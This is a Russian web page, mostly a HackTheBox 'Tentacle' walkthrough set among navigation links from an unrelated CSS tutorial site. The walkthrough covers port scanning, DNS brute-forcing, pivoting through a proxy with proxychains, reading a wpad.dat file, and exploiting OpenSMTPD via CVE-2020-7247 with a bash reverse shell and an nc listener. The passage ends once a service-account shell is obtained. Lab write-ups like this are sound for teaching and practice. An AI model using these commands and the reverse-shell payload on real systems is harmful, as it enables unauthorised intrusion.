Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Первым делом прописываем IP машины в файл /
.
10.10.10.224 tentacle.htb
Сканируем порты скриптом в два прохода:
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Результат работы скриптаНаходим четыре открытых порта:
С SSH нам пока делать нечего, поскольку учетных данных у нас нет. C DNS и Kerberos тоже пока ничего не сделать. Обращаясь к порту 3128, видим сообщение об ошибке, но из него получаем важные данные — домен и имя пользователя.
Найденное доменное имя добавляем в /
.
10.10.10.224 realcorp.htb
Больше ничего сделать не можем, поэтому попробуем поперебирать домены. Для этого используем dnsenum. В параметрах укажем количество потоков (--threads
) и адрес сервера DNS (--dnsserver
), а словарь берем из сборки Seclists.
dnsenum --threads 32 --dnsserver10.10.10.224 -f/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt realcorp.htb
Обнаруженные поддоменыПолучаем несколько новых доменных имен и адресов.
Так как на хосте работают служба прокси‑сервера и служба DNS, логично проверить, доступны ли найденные из перебора адреса через этот прокси. Для этого сформируем цепочку прокси с помощью proxychains. Наша цепочка будет пропускать трафик через текущий хост в другую сеть. Proxychains добавит заголовки для маршрутизации пакетов во внутреннюю сеть.
В конфигурационном файле /
создадим три записи. Это и есть наша цепочка.
http 10.10.10.224 3128
http 127.0.0.1 3128
http 10.197.243.77 3128
Так как имя хоста — WPAD, есть немалое подозрение, что на нем работает одноименная служба. Попробуем достучаться до него и просканировать порты.
proxychains -qnmap -A10.197.243.31
Результат сканирования портовНа этот раз получаем уже больше открытых портов, в том числе и 80-й, где развернут веб‑сервер nginx 1.14.1. Также мы получаем имя хоста — wpad.
. Добавляем его в /
.
10.197.243.31 wpad.realcorp.htb
Теперь на мысль о службе наталкивает не только доменное имя, но и имя хоста. Протокол WPAD (Web Proxy Auto Discovery protocol) служит для того, чтобы найти файл PAC (Proxy Auto Config) — конфигурации прокси. Он представляет собой jаvascript с описанием логики, по которой браузер будет определять, как подключаться к нужному URL.
При совершении запроса браузер вызывает функцию FindProxyForURL
из PAC-файла, передает туда URL и хост, а в результате ожидает узнать, через какие прокси ходить на этот адрес. Чтобы получить эти настройки, WPAD пытается найти PAC-скрипт с помощью опции от DHCP-сервера (что браузерами практически не поддерживается), а затем отправляет HTTP-запрос на http://
и скачивает полученный файл. Значит, мы можем сами запросить файл wpad.
с сервера.
proxychains -qcurl wpad.realcorp.htb/wpad.dat
Код функции FindProxyForURL из файла wpad.datПросматриваем код и находим адреса сетей, о которых мы раньше не знали. Это открывает нам новые возможности для продвижения. Стоит просканировать сеть, чтобы найти новые хосты, а там и точки входа (скрипт я приводил в начале статьи). В результате сканирования находим хост 113, в котором открыт 25-й порт. Его сканируем с использованием скриптов отдельно (опция -A
).
proxychains -qnmap 10.241.251.0/24
proxychains -qnmap -A -p2510.241.251.113
Результат сканирования хостов в новой сетиПеред нами OpenSMTPD. А значит, стоит поискать готовые эксплоиты для него.
Если ты используешь Kali Linux, то для обращения к базе эксплоитов достаточно запустить утилиту searchsploit
:
searchsploit OpenSMTPD
Поиск эксплоитов для OpenSMTPDЭксплоит с порядковым номером 47984 выглядит подходящим. Версия уязвимого продукта здесь больше, чем у нас. Эксплоит может дать удаленное выполнение кода через сеанс SMTP. Из описания уязвимости CVE-2020-7247 также узнаем, что баг возникает из‑за неправильного возвращаемого значения при неудачной проверке ввода в функции smtp_mailaddr
(подробности можешь узнать в коде уязвимой функции).
Однако в исходном виде этот эксплоит не срабатывает. Зачастую в таких случаях помогает просто найти альтернативную версию. Так, перебрав несколько вариантов, я наткнулся на рабочий PoC на GitHub.
В коде нужно указать свою нагрузку и поменять имя пользователя, которому отправляется сообщение. В качестве нагрузки используем обычный реверс‑шелл на bash.
bash -i&> /dev/tcp/[IP]/[PORT]0>&1
Код эксплоита: изменение имени пользователяКод эксплоита: измененная нагрузкаТак как мы будем выполнять бэкконнект (шелл на атакуемой машине будет подключаться к нашей), прежде чем запускать эту команду, создадим листенер, который будет принимать соединение. В качестве листенера я использую netcat (команда nc
), а в дополнение к нему — оболочку rlwrap.
apt install rlwrap
rlwrap nc -lvp [port]
Теперь выполним эксплоит и получим бэкконнект.
Отлично, мы проникли на машину! Так как мы работаем в контексте учетной записи службы, следующий шаг — получить какого‑либо пользователя. Чаще всего для этого нужно найти учетные данные.
|
|